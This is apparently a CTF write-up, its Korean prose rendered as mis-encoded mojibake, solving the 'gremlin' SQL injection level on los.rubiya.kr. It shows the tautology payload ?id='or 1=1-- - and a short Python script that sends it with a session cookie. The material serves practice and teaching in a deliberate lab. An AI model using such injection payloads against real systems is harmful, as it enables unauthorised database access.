[LORD OF SQLINJECTION]gremlin
Write Up
์ฒ์์ด๋๊น ์ ๋ฌธ์ ๋ค์ query๋ฌธ๊ณผ ํด๋น ์์ค์ฝ๋๋ฅผ ์๋ ค์ค๋๋ค.
์ด๋ฅผ ์ด์ฉํ์ฌ solve() ํจ์๋ฅผ ์คํ์ํค๋ฉด ๋ฌธ์ ๊ฐ ํ๋ฆฌ๋ ํ์์
๋๋ค.
https://los.rubiya.kr/gate.php
los.rubiya.kr
์์ค ์ฝ๋ ๋ถ์
file setup ๋ถ๋ถ๊ณผ preg_match ๋ถ๋ถ์ ๊ธฐ๋ณธ์ ์ธ php ๋ฌธ๋ฒ์ด๋ฏ๋ก ์ค๋ช
์ ๋์ด๊ฐ๊ณ
preg_match์ ๊ฒฝ์ฐ _, ., () ๋ถ๋ถ์ ํํฐ๋งํ๋ ๋ชจ์ต์
๋๋ค.
์ฐธ๊ณ ๋ก ์ ๊ทํํ์์ผ๋ก ์ ๋ฆฌํ๋ฉฐ, ํด์์ฌ์ดํธ๋ ํ๋จ์ ์์ต๋๋ค.
RegExr: Learn, Build, & Test RegEx
RegExr is an online tool to learn, build, & test Regular Expressions (RegEx / RegExp).
regexr.com
๊ทธ๋ฌํ๋ฉด query ๋ถ๋ถ์ where์ ์ ํตํด id๋ฅผ ๋ถ๋ฌ์ค๊ณ result์ ๋ณ์์..
ํ๋จ์ ๋งํฌ์ ํจ์๋ฅผ ์ฌ์ฉํ๋ ๋ชจ์ต์
๋๋ค. ํด์ ์ป์ ID๊ฐ ์กด์ฌํ๋ค๋ฉด solve ํจ์๋ฅผ ์คํ
PHP: mysqli_result::fetch_array - Manual
query($query);/* numeric array */$row = $result->fetch_array(MYSQLI_NUM);printf("%s (%s)\n", $row[0], $row[1]);/* associative array */$row = $result->fetch_array(MYSQLI_ASSOC);printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);/* associative and numeri
www.php.net
Soultion
Where์ ์ฃผ์(์ฐํ)
https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php
?id=%27%20or%201=1%20--%20-
?id='or 1=1-- -
ํด๋น ๋ถ๋ถ์ GET๋ฐฉ์์ผ๋ก ์ป๊ธฐ์ URL์ ์ ๋ ฅ์ ํ์ฌ SQL๋ฌธ์ ๋์ํฉ๋๋ค.
SQL Injection
1. Background: Relational DBMS 1. ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ธฐ๋ณธ ๊ฐ๋ ๊ณผ DBMS - By L.M.S 1. ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์์ฑ ๋๋ณด๊ธฐ ๐กKEYWORD - ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์์ฑ - ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ์์ ํน์ฑ - ๋ฐ์ดํฐ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค - DBMS, ๋ฐ
dystopia050119.tistory.com
์ฌ๊ธฐ์ ๊ธฐ๋ณธ ๊ณ๋
๊ณผ ์์ผ๋ก ๋ฐฐ์ธ ๋ด์ฉ์ ์ ์ ์๊ณ ๋ฐฐ์ด ๋ด์ฉ์ ๋ฐํ์ผ๋ก
๋ฌธ์ ๋ฅผ ํ์ด๋ด
์๋ค.
Exploit code
#!/usr/bin/python3
from requests import get
from pwn import *
#import sys
# Argument check (Cookie)
'''if len(sys.argv) != 2:
print(sys.argv[0] + " [PHPSESSID Cookie]")
print(type(sys.argv[1]))
session = {sys.argv[1]}
'''
'''
headers = {
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'cookies' : 'PHPSESSID={0}'.format(session)
}
'''
url = 'https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php'
cookies = dict(PHPSESSID='ans45ovi49hnu9bs96407ahndf')
payload = ''
param = "?id='or 1=1-- -"
def pw_leak(url, query):
payload = url
payload += query
r = get(payload, cookies=cookies)
if r.text.find("<h2>GREMLIN Clear!</h2>") > 0:
log.success('Success!!')
else:
log.failure('false :(')
if __name__ in "__main__":
print(url)
pw_leak(url, param)
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง